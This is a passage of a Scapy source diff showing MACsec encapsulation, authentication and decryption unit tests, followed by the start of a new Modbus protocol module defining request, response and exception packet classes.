+sa = MACsecSA(sci=b'\x52\x54\x00\x13\x01\x56\x00\x01', an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1)
+p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/IP(src='192.168.0.1', dst='192.168.0.2')/ICMP(type='echo-request')/"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890"
+m = sa.encap(p)
+e = sa.encrypt(m)
+d = sa.decrypt(e)
+r = sa.decap(d)
+assert(raw(r) == raw(p))
+
+= MACsec - encap - shortlen 2
+sa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1)
+p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')
+m = sa.encap(p)
+assert(m[MACsec].shortlen == 2)
+assert(len(m) == m[MACsec].shortlen + 20 + (8 if sa.send_sci else 0))
+
+= MACsec - encap - shortlen 10
+sa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1)
+p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/Raw("x" * 8)
+m = sa.encap(p)
+assert(m[MACsec].shortlen == 10)
+assert(len(m) == m[MACsec].shortlen + 20 + (8 if sa.send_sci else 0))
+
+= MACsec - encap - shortlen 18
+sa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1)
+p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/Raw("x" * 16)
+m = sa.encap(p)
+assert(m[MACsec].shortlen == 18)
+assert(len(m) == m[MACsec].shortlen + 20 + (8 if sa.send_sci else 0))
+
+= MACsec - encap - shortlen 32
+sa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1)
+p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/Raw("x" * 30)
+m = sa.encap(p)
+assert(m[MACsec].shortlen == 32)
+assert(len(m) == m[MACsec].shortlen + 20 + (8 if sa.send_sci else 0))
+
+= MACsec - encap - shortlen 40
+sa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1)
+p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/Raw("x" * 38)
+m = sa.encap(p)
+assert(m[MACsec].shortlen == 40)
+assert(len(m) == m[MACsec].shortlen + 20 + (8 if sa.send_sci else 0))
+
+= MACsec - encap - shortlen 47
+sa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1)
+p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/Raw("x" * 45)
+m = sa.encap(p)
+assert(m[MACsec].shortlen == 47)
+assert(len(m) == m[MACsec].shortlen + 20 + (8 if sa.send_sci else 0))
+
+= MACsec - encap - shortlen 0 (48)
+sa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1)
+p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/Raw("x" * 45 + "y")
+m = sa.encap(p)
+assert(m[MACsec].shortlen == 0)
+
+
+= MACsec - encap - shortlen 2/nosci
+sa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=0)
+p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')
+m = sa.encap(p)
+assert(m[MACsec].shortlen == 2)
+assert(len(m) == m[MACsec].shortlen + 20 + (8 if sa.send_sci else 0))
+
+= MACsec - encap - shortlen 32/nosci
+sa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=0)
+p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/Raw("x" * 30)
+m = sa.encap(p)
+assert(m[MACsec].shortlen == 32)
+assert(len(m) == m[MACsec].shortlen + 20 + (8 if sa.send_sci else 0))
+
+= MACsec - encap - shortlen 47/nosci
+sa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=0)
+p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/Raw("x" * 45)
+m = sa.encap(p)
+assert(m[MACsec].shortlen == 47)
+assert(len(m) == m[MACsec].shortlen + 20 + (8 if sa.send_sci else 0))
+
+
+= MACsec - authenticate
+tx = Ether(b"RT\x00\x12\x01V.\xbc\x84\xd5\xca\x13\x88\xe5 \x00\x00\x00\x00\rRT\x00\x13\x01V\x00\x01\x08\x00E\x00\x00T\x11:@\x00@\x01\xa6\x1b\xc0\xa8\x01\x01\xc0\xa8\x01\x02\x08\x00a\xeaG+\x00\x01\xc0~RY\x00\x00\x00\x00w>\x06\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\xf1\xb8\xe4,b\xb00\x98L\x85m1Q9\t:")
+rx = Ether(b".\xbc\x84\xd5\xca\x13RT\x00\x12\x01V\x88\xe5 \x00\x00\x00\x00#RT\x00\x12\x01V\x00\x01\x08\x00E\x00\x00T\xd4\x1a\x00\x00@\x01#;\xc0\xa8\x01\x02\xc0\xa8\x01\x01\x00\x00i\xeaG+\x00\x01\xc0~RY\x00\x00\x00\x00w>\x06\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37z\x11\xf8S\xe5u\x81\xe8\x19\\nxX\x02\x13\x01")
+rxsa = MACsecSA(sci=0x5254001201560001, an=0, pn=31, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1)
+txsa = MACsecSA(sci=0x5254001301560001, an=0, pn=31, key=b'\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61', icvlen=16, encrypt=0, send_sci=1)
+txdec = txsa.decap(txsa.decrypt(tx))
+rxdec = rxsa.decap(rxsa.decrypt(rx))
+txref = b"RT\x00\x12\x01V.\xbc\x84\xd5\xca\x13\x08\x00E\x00\x00T\x11:@\x00@\x01\xa6\x1b\xc0\xa8\x01\x01\xc0\xa8\x01\x02\x08\x00a\xeaG+\x00\x01\xc0~RY\x00\x00\x00\x00w>\x06\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37"
+rxref = b".\xbc\x84\xd5\xca\x13RT\x00\x12\x01V\x08\x00E\x00\x00T\xd4\x1a\x00\x00@\x01#;\xc0\xa8\x01\x02\xc0\xa8\x01\x01\x00\x00i\xeaG+\x00\x01\xc0~RY\x00\x00\x00\x00w>\x06\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37"
+assert(raw(txdec) == raw(txref))
+assert(raw(rxdec) == raw(rxref))
+
+
+
+= MACsec - authenticate - invalid packet
+rx = Ether(b".\xbc\x84\xd5\xca\x13RT\x00\x12\x01V\x88\xe5 \x00\x00\x00\x00#RT\x00\x12\x01V\x00\x01\x08\x00E\x00\x00T\xd4\x1a\x00\x00@\x01#;\xc0\xa8\x01\x02\xc0\xa8\x01\x01\x00\x00i\xeaG+\x00\x01\xc0~RY\x00\x00\x00\x00w>\x06\x00\x00\x00\x00\x00\xba\xdb\xba\xdb\xad\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37z\x11\xf8S\xe5u\x81\xe8\x19\\nxX\x02\x13\x01")
+txsa = MACsecSA(sci=0x5254001301560001, an=0, pn=31, key=b'\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61', icvlen=16, encrypt=0, send_sci=1)
+try:
+    rxdec = rxsa.decap(rxsa.decrypt(rx))
+    assert(not "This packet shouldn't have been authenticated as correct")
+except InvalidTag:
+    pass
+
+
+
+= MACsec - decrypt
+tx = Ether(b"RT\x00\x12\x01V.\xbc\x84\xd5\xca\x13\x88\xe5,\x00\x00\x00\x00\x1fRT\x00\x13\x01V\x00\x01\xf1\xd6\xf7\x03\xf0%\x19\x8e\x88\xb0\xac\xa1\x82\x98\x94]\x85&\xc4U*\x84kX#O\xb6\x8f\xf1\x9d\xc5\xdc\xe0\x80,\x98\x8e_\xd53e\x16b0\xaf\xd9\x9e;A\x8aM\xfe\x16\xf6j\xe6\xea\xb7\x9c\xf3\x9bCc#,\x93\xf7\xc0\xdb\x9a\xd0\x0c\xfd?\xcbd\xe5D\xb7\xc9\xbb\xf5\x93M\xc5\x1d'LR\xed\xf3\xbc\xa0\xdf\x86\xf7\xc2JN\xcd\x19\xc1?\xf7\xd2\xbe\x00\x0f`\xe0\x04\xcfX5\xdc\xe7\xb6\xe6\x82\xc4\xac\xd7\x06\xe31\xbe|\x98l\xc8\xc1#*n+x|\xad\x0b<\xfd\xb8\xceoR\x1e")
+rx = Ether(b".\xbc\x84\xd5\xca\x13RT\x00\x12\x01V\x88\xe5,\x00\x00\x00\x005RT\x00\x12\x01V\x00\x01\x04\xbaV\xe6\xcf\xcfbhy\x7f\xce\x12.\x80WI\xe5\xd5\x98)6\xe1vjVO@\x84\xde\x9b\x83\xbaw\xef\x13\xc3\xfd\xad\x81\xd4S?\x01\x01\xab\xa8 PzSq2\x905\xf6\x8cT\xd7\xb0P\xe2\xd04\xc7F\x88\x85\x10\xc3\x99\x80\xe3(\t\x10\x87\xa9{z\x22\xce>;Mr\xbe\xc1\xa0\x07%\x01\x96\xe5\xa3\x18]\xec\xbb\x7f\xde0\xa1\x99\xb2\xad\x93j\x97\xef\xf4\xee\xf0\xe4s\xb7h\x95\xc3\x8b[~hX\xbf|\xee\x99\x97\xe0;Q\x9aa\xb9\x13$\xd6\xe4\xb4\xce\njt\xc0\xa1.")
+rxsa = MACsecSA(sci=0x5254001201560001, an=0, pn=31, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1)
+txsa = MACsecSA(sci=0x5254001301560001, an=0, pn=31, key=b'\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61', icvlen=16, encrypt=1, send_sci=1)
+txdec = txsa.decap(txsa.decrypt(tx))
+rxdec = rxsa.decap(rxsa.decrypt(rx))
+txref = b"RT\x00\x12\x01V.\xbc\x84\xd5\xca\x13\x08\x00E\x00\x00\x80#D@\x00@\x01\x93\xe5\xc0\xa8\x01\x01\xc0\xa8\x01\x02\x08\x00E\xd5\x0f\xb3\x00\x01SrSY\x00\x00\x00\x00\x8b\x1d\r\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abc"
+rxref = b".\xbc\x84\xd5\xca\x13RT\x00\x12\x01V\x08\x00E\x00\x00\x80\x05\xab\x00\x00@\x01\xf1~\xc0\xa8\x01\x02\xc0\xa8\x01\x01\x00\x00M\xd5\x0f\xb3\x00\x01SrSY\x00\x00\x00\x00\x8b\x1d\r\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abc"
+assert(raw(txdec) == raw(txref))
+assert(raw(rxdec) == raw(rxref))
+
+
+
+= MACsec - decrypt - invalid packet
+rx = Ether(b".\xbc\x84\xd5\xca\x13RT\x00\x12\x01V\x88\xe5,\x00\x00\x00\x005RT\x00\x12\x01V\x00\x01\x04\xbaV\xe6\xcf\xcfbhy\x7f\xce\x12.\x80WI\xe5\xd5\x98)6\xe1vjVO@\x84\xde\x9b\x83\xbaw\xef\x13\xc3\xfd\xad\x81\xd4S?\x01\x01\xab\xa8 PzSq2\x905\xf6\x8cT\xd7\xb0P\xe2\xd04\xc7F\x88\x85\x10\xc3\x99\x80\xe3(\t\x10\x87\xa9{z\x22\xce>;Mr\xbe\xc1\xa0\x07%\x01\x96\xe5\xa3\x18]\xec\xbb\x7f\xde0\xa1\x99\xb2\xad\x93j\x97\xba\xdb\xad\xf0\xe4s\xb7h\x95\xc3\x8b[~hX\xbf|\xee\x99\x97\xe0;Q\x9aa\xb9\x13$\xd6\xe4\xb4\xce\njt\xc0\xa1.")
+rxsa = MACsecSA(sci=0x5254001201560001, an=0, pn=31, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1)
+try:
+    rxdec = rxsa.decap(rxsa.decrypt(rx))
+    assert(not "This packet shouldn't have been decrypted correctly")
+except InvalidTag:
+    pass
+
+
+
+= MACsec - decap - non-Ethernet
+rxsa = MACsecSA(sci=0x5254001201560001, an=0, pn=31, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1)
+try:
+    rxsa.decap(IP())
+except TypeError as e:
+    assert(str(e) == "cannot decapsulate MACsec packet, must be Ethernet/MACsec")
+
+= MACsec - decap - non-MACsec
+rxsa = MACsecSA(sci=0x5254001201560001, an=0, pn=31, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1)
+try:
+    rxsa.decap(Ether()/IP())
+except TypeError as e:
+    assert(str(e) == "cannot decapsulate MACsec packet, must be Ethernet/MACsec")
+
+= MACsec - encap - non-Ethernet
+txsa = MACsecSA(sci=0x5254001201560001, an=0, pn=31, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1)
+try:
+    txsa.encap(IP())
+except TypeError as e:
+    assert(str(e) == "cannot encapsulate packet in MACsec, must be Ethernet")
diff --git a/scapy/contrib/modbus.py b/scapy/contrib/modbus.py
new file mode 100644
index 0000000..46cbdd0
--- /dev/null
+++ b/scapy/contrib/modbus.py
@@ -0,0 +1,839 @@
+# coding: utf8
+
+# This file is part of Scapy
+# Scapy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 2 of the License, or
+# any later version.
+#
+# Scapy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with Scapy. If not, see <http://www.gnu.org/licenses/>.
+
+# scapy.contrib.description = ModBus Protocol
+# scapy.contrib.status = loads
+
+# Copyright (C) 2017 Arthur Gervais, Ken LE PRADO, Sébastien Mainand, Thomas Aurel
+
+from scapy.packet import *
+from scapy.fields import *
+from scapy.layers.inet import *
+
+# TODO: implement serial specific function codes
+
+_modbus_exceptions = {1: "Illegal Function Code",
+                      2: "Illegal Data Address",
+                      3: "Illegal Data Value",
+                      4: "Server Device Failure",
+                      5: "Acknowledge",
+                      6: "Server Device Busy",
+                      8: "Memory Parity Error",
+                      10: "Gateway Path Unavailable",
+                      11: "Gateway Target Device Failed to Respond"}
+
+
+class ModbusPDU01ReadCoilsRequest(Packet):
+    name = "Read Coils Request"
+    fields_desc = [XByteField("funcCode", 0x01),
+                   XShortField("startAddr", 0x0000),  # 0x0000 to 0xFFFF
+                   XShortField("quantity", 0x0001)]
+
+    def extract_padding(self, s):
+        return b"", None
+
+
+class ModbusPDU01ReadCoilsResponse(Packet):
+    name = "Read Coils Response"
+    fields_desc = [XByteField("funcCode", 0x01),
+                   BitFieldLenField("byteCount", None, 8, count_of="coilStatus"),
+                   FieldListField("coilStatus", [0x00], ByteField("", 0x00), count_from=lambda pkt: pkt.byteCount)]
+
+    def extract_padding(self, s):
+        return b"", None
+
+
+class ModbusPDU01ReadCoilsError(Packet):
+    name = "Read Coils Exception"
+    fields_desc = [XByteField("funcCode", 0x81),
+                   ByteEnumField("exceptCode", 1, _modbus_exceptions)]
+
+    def extract_padding(self, s):
+        return b"", None
+
+
+class ModbusPDU02ReadDiscreteInputsRequest(Packet):
+    name = "Read Discrete Inputs"
+    fields_desc = [XByteField("funcCode", 0x02),
+                   XShortField("startAddr", 0x0000),
+                   XShortField("quantity", 0x0001)]
+
+    def extract_padding(self, s):
+        return b"", None
+
+
+class ModbusPDU02ReadDiscreteInputsResponse(Packet):
+    """ inputStatus: result is represented as bytes, padded with 0 to have a
+        integer number of bytes. The field does not parse this result and
+        present the bytes directly
+    """
+    name = "Read Discrete Inputs Response"
+    fields_desc = [XByteField("funcCode", 0x02),
+                   BitFieldLenField("byteCount", None, 8, count_of="inputStatus"),
+                   FieldListField("inputStatus", [0x00], ByteField("", 0x00), count_from=lambda pkt: pkt.byteCount)]
+
+
+class ModbusPDU02ReadDiscreteInputsError(Packet):
+    name = "Read Discrete Inputs Exception"
+    fields_desc = [XByteField("funcCode", 0x82),
+                   ByteEnumField("exceptCode", 1, _modbus_exceptions)]
+
+
+class ModbusPDU03ReadHoldingRegistersRequest(Packet):
+    name = "Read Holding Registers"
+    fields_desc = [XByteField("funcCode", 0x03),
+                   XShortField("startAddr", 0x0000),
+                   XShortField("quantity", 0x0001)]
+
+    def extract_padding(self, s):
+        return b"", None
+
+
+class ModbusPDU03ReadHoldingRegistersResponse(Packet):
+    name = "Read Holding Registers Response"
+    fields_desc = [XByteField("funcCode", 0x03),
+                   BitFieldLenField("byteCount", None, 8, count_of="registerVal", adjust=lambda pkt, x: x*2),
+                   FieldListField("registerVal", [0x0000], ShortField("", 0x0000),
+                                  count_from=lambda pkt: pkt.byteCount)]
+
+
+class ModbusPDU03ReadHoldingRegistersError(Packet):
+    name = "Read Holding Registers Exception"
+    fields_desc = [XByteField("funcCode", 0x83),
+                   ByteEnumField("exceptCode", 1, _modbus_exceptions)]
+
+
+class ModbusPDU04ReadInputRegistersRequest(Packet):
+    name = "Read Input Registers"
+    fields_desc = [XByteField("funcCode", 0x04),
+                   XShortField("startAddr", 0x0000),
+                   XShortField("quantity", 0x0001)]
+
+    def extract_padding(self, s):
+        return b"", None
+
+
+class ModbusPDU04ReadInputRegistersResponse(Packet):
+    name = "Read Input Registers Response"
+    fields_desc = [XByteField("funcCode", 0x04),
+                   BitFieldLenField("byteCount", None, 8, count_of="registerVal", adjust=lambda pkt, x: x*2),
+                   FieldListField("registerVal", [0x0000], ShortField("", 0x0000),
+                                  count_from=lambda pkt: pkt.byteCount)]
+
+
+class ModbusPDU04ReadInputRegistersError(Packet):
+    name = "Read Input Registers Exception"
+    fields_desc = [XByteField("funcCode", 0x84),
+                   ByteEnumField("exceptCode", 1, _modbus_exceptions)]
+
+
+class ModbusPDU05WriteSingleCoilRequest(Packet):
+    name = "Write Single Coil"
+    fields_desc = [XByteField("funcCode", 0x05),
+                   XShortField("outputAddr", 0x0000),  # from 0x0000 to 0xFFFF
+                   XShortField("outputValue", 0x0000)]  # 0x0000 == Off, 0xFF00 == On
+
+
+class ModbusPDU05WriteSingleCoilResponse(Packet):  # The answer is the same as the request if successful
+    name = "Write Single Coil"
+    fields_desc = [XByteField("funcCode", 0x05),
+                   XShortField("outputAddr", 0x0000),  # from 0x0000 to 0xFFFF
+                   XShortField("outputValue", 0x0000)]  # 0x0000 == Off, 0xFF00 == On
+
+
+class ModbusPDU05WriteSingleCoilError(Packet):
+    name = "Write Single Coil Exception"
+    fields_desc = [XByteField("funcCode", 0x85),
+                   ByteEnumField("exceptCode", 1, _modbus_exceptions)]
+
+
+class ModbusPDU06WriteSingleRegisterRequest(Packet):
+    name = "Write Single Register"
+    fields_desc = [XByteField("funcCode", 0x06),
+                   XShortField("registerAddr", 0x0000),
+                   XShortField("registerValue", 0x0000)]
+
+    def extract_padding(self, s):
+        return b"", None
+
+
+class ModbusPDU06WriteSingleRegisterResponse(Packet):
+    name = "Write Single Register Response"
+    fields_desc = [XByteField("funcCode", 0x06),
+                   XShortField("registerAddr", 0x0000),
+                   XShortField("registerValue", 0x0000)]
+
+
+class ModbusPDU06WriteSingleRegisterError(Packet):
+    name = "Write Single Register Exception"
+    fields_desc = [XByteField("funcCode", 0x86),
+                   ByteEnumField("exceptCode", 1, _modbus_exceptions)]
+
+
+class ModbusPDU07ReadExceptionStatusRequest(Packet):
+    name = "Read Exception Status"
+    fields_desc = [XByteField("funcCode", 0x07)]
+
+    def extract_padding(self, s):
+        return b"", None
+
+
+class ModbusPDU07ReadExceptionStatusResponse(Packet):
+    name = "Read Exception Status Response"
+    fields_desc = [XByteField("funcCode", 0x07),
+                   XByteField("startingAddr", 0x00)]
+
+
+class ModbusPDU07ReadExceptionStatusError(Packet):
+    name = "Read Exception Status Exception"
+    fields_desc = [XByteField("funcCode", 0x87),
+                   ByteEnumField("exceptCode", 1, _modbus_exceptions)]
+
+
+class ModbusPDU0FWriteMultipleCoilsRequest(Packet):
+    name = "Write Multiple Coils"
+    fields_desc = [XByteField("funcCode", 0x0F),
+                   XShortField("startingAddr", 0x0000),
+                   XShortField("quantityOutput", 0x0001),
+                   BitFieldLenField("byteCount", None, 8, count_of="outputsValue"),
+                   FieldListField("outputsValue", [0x00], XByteField("", 0x00), count_from=lambda pkt: pkt.byteCount)]
+
+    def extract_padding(self, s):
+        return b"", None
+
+
+class ModbusPDU0FWriteMultipleCoilsResponse(Packet):
+    name = "Write Multiple Coils Response"
+    fields_desc = [XByteField("funcCode", 0x0F),
+                   XShortField("startingAddr", 0x0000),
+                   XShortField("quantityOutput", 0x0001)]
+
+
+class ModbusPDU0FWriteMultipleCoilsError(Packet):
+    name = "Write Multiple Coils Exception"
+    fields_desc = [XByteField("funcCode", 0x8F),
+                   ByteEnumField("exceptCode", 1, _modbus_exceptions)]
+
+
+class ModbusPDU10WriteMultipleRegistersRequest(Packet):
+    name = "Write Multiple Registers"
+    fields_desc = [XByteField("funcCode", 0x10),
+                   XShortField("startingAddr", 0x0000),
+                   BitFieldLenField("quantityRegisters", None, 16, count_of="outputsValue",),
+                   BitFieldLenField("byteCount", None, 8, count_of="outputsValue", adjust=lambda pkt, x: x*2),
+                   FieldListField("outputsValue", [0x0000], XShortField("", 0x0000),
+                                  count_from=lambda pkt: pkt.byteCount)]
+
+
+class ModbusPDU10WriteMultipleRegistersResponse(Packet):
+    name = "Write Multiple Registers Response"
+    fields_desc = [XByteField("funcCode", 0x10),
+                   XShortField("startingAddr", 0x0000),
+                   XShortField("quantityRegisters", 0x0001)]
+
+
+class ModbusPDU10WriteMultipleRegistersError(Packet):
+    name = "Write Multiple Registers Exception"
+    fields_desc = [XByteField("funcCode", 0x90),
+                   ByteEnumField("exceptCode", 1, _modbus_exceptions)]
+
+
+class ModbusPDU11ReportSlaveIdRequest(Packet):
+    name = "Report Slave Id"
+    fields_desc = [XByteField("funcCode", 0x11)]
+
+    def extract_padding(self, s):
+        return b"", None
+
+
+class ModbusPDU11ReportSlaveIdResponse(Packet):
+    name = "Report Slave Id Response"
+    fields_desc = [XByteField("funcCode", 0x11),
+                   BitFieldLenField("byteCount", None, 8, length_of="slaveId"),
+                   ConditionalField(StrLenField("slaveId", "", length_from=lambda pkt: pkt.byteCount),
+                                    lambda pkt: pkt.byteCount > 0),
+                   ConditionalField(XByteField("runIdicatorStatus", 0x00), lambda pkt: pkt.byteCount > 0)]
+
+
+class ModbusPDU11ReportSlaveIdError(Packet):
+    name = "Report Slave Id Exception"
+    fields_desc = [XByteField("funcCode", 0x91),
+                   ByteEnumField("exceptCode", 1, _modbus_exceptions)]
+
+
+class ModbusReadFileSubRequest(Packet):
+    name = "Sub-request of Read File Record"
+    fields_desc = [ByteField("refType", 0x06),
+                   ShortField("fileNumber", 0x0001),
+                   ShortField("recordNumber", 0x0000),
+                   ShortField("recordLength", 0x0001)]
+
+    def guess_payload_class(self, payload):
+        return ModbusReadFileSubRequest
+
+
+class ModbusPDU14ReadFileRecordRequest(Packet):
+    name = "Read File Record"
+    fields_desc = [XByteField("funcCode", 0x14),
+                   ByteField("byteCount", None)]
+
+    def guess_payload_class(self, payload):
+        if self.byteCount > 0:
+            return ModbusReadFileSubRequest
+        else:
+            return Packet.guess_payload_class(self, payload)
+
+    def post_build(self, p, pay):
+        if self.byteCount is None:
+            l = len(pay)
+            p = p[:1] + struct.pack("!B", l) + p[3:]
+        return p + pay
+
+
+class ModbusReadFileSubResponse(Packet):
+    name = "Sub-response"
+    fields_desc = [BitFieldLenField("respLength", None, 8, count_of="recData", adjust=lambda pkt, p: p*2+1),
+                   ByteField("refType", 0x06),
+                   FieldListField("recData", [0x0000], XShortField("", 0x0000),
+                                  count_from=lambda pkt: (pkt.respLength-1)//2)]
+
+    def guess_payload_class(self, payload):
+        return ModbusReadFileSubResponse
+
+
+class ModbusPDU14ReadFileRecordResponse(Packet):
+    name = "Read File Record Response"
+    fields_desc = [XByteField("funcCode", 0x14),
+                   ByteField("dataLength", None)]
+
+    def post_build(self, p, pay):
+        if self.dataLength is None:
+            l = len(pay)
+            p = p[:1] + struct.pack("!B", l) + p[3:]
+        return p + pay
+
+    def guess_payload_class(self, payload):
+        if self.dataLength > 0:
+            return ModbusReadFileSubResponse
+        else:
+            return Packet.guess_payload_class(self, payload)
+
+
+class ModbusPDU14ReadFileRecordError(Packet):
+    name = "Read File Record Exception"
+    fields_desc = [XByteField("funcCode", 0x94),
+                   ByteEnumField("exceptCode", 1, _modbus_exceptions)]
+
+
+# 0x15 : Write File Record
+class ModbusWriteFileSubRequest(Packet):
+    name = "Sub request of Write File Record"
+    fields_desc = [ByteField("refType", 0x06),
+                   ShortField("fileNumber", 0x0001),
+                   ShortField("recordNumber", 0x0000),
+                   BitFieldLenField("recordLength", None, 16, length_of="recordData", adjust=lambda pkt, p: p//2),
+                   FieldListField("recordData", [0x0000], ShortField("", 0x0000),
+                                  length_from=lambda pkt: pkt.recordLength*2)]
+
+    def guess_payload_class(self, payload):
+        if payload:
+            return ModbusWriteFileSubRequest
+
+
+class ModbusPDU15WriteFileRecordRequest(Packet):
+    name = "Write File Record"
+    fields_desc = [XByteField("funcCode", 0x15),
+                   ByteField("dataLength", None)]
+
+    def post_build(self, p, pay):
+        if self.dataLength is None:
+            l = len(pay)
+            p = p[:1] + struct.pack("!B", l) + p[3:]
+            return p + pay
+
+    def guess_payload_class(self, payload):
+        if self.dataLength > 0:
+            return ModbusWriteFileSubRequest
+        else:
+            return Packet.guess_payload_class(self, payload)
+
+
+class ModbusWriteFileSubResponse(ModbusWriteFileSubRequest):
+    name = "Sub response of Write File Record"
+
+    def guess_payload_class(self, payload):
+        if payload:
+            return ModbusWriteFileSubResponse
+
+
+class ModbusPDU15WriteFileRecordResponse(ModbusPDU15WriteFileRecordRequest):
+    name = "Write File Record Response"
+
+    def guess_payload_class(self, payload):
+        if self.dataLength > 0:
+            return ModbusWriteFileSubResponse
+        else:
+            return Packet.guess_payload_class(self, payload)
+
+
+class ModbusPDU15WriteFileRecordError(Packet):
+    name = "Write File Record Exception"
+    fields_desc = [XByteField("funcCode", 0x95),
+                   ByteEnumField("exceptCode", 1, _modbus_exceptions)]
+
+
+class ModbusPDU16MaskWriteRegisterRequest(Packet):
+    # and/or to 0xFFFF/0x0000 so that nothing is changed in memory
+    name = "Mask Write Register"
+    fields_desc = [XByteField("funcCode", 0x16),
+                   XShortField("refAddr", 0x0000),
+                   XShortField("andMask", 0xffff),
+                   XShortField("orMask", 0x0000)]
+
+
+class ModbusPDU16MaskWriteRegisterResponse(Packet):
+    name = "Mask Write Register Response"
+    fields_desc = [XByteField("funcCode", 0x16),
+                   XShortField("refAddr", 0x0000),
+                   XShortField("andMask", 0xffff),
+                   XShortField("orMask", 0x0000)]
+
+
+class ModbusPDU16MaskWriteRegisterError(Packet):
+    name = "Mask Write Register Exception"
+    fields_desc = [XByteField("funcCode", 0x96),
+                   ByteEnumField("exceptCode", 1, _modbus_exceptions)]
+
+
+class ModbusPDU17ReadWriteMultipleRegistersRequest(Packet):
+    name = "Read Write Multiple Registers"
+    fields_desc = [XByteField("funcCode", 0x17),
+                   XShortField("readStartingAddr", 0x0000),
+                   XShortField("readQuantityRegisters", 0x0001),
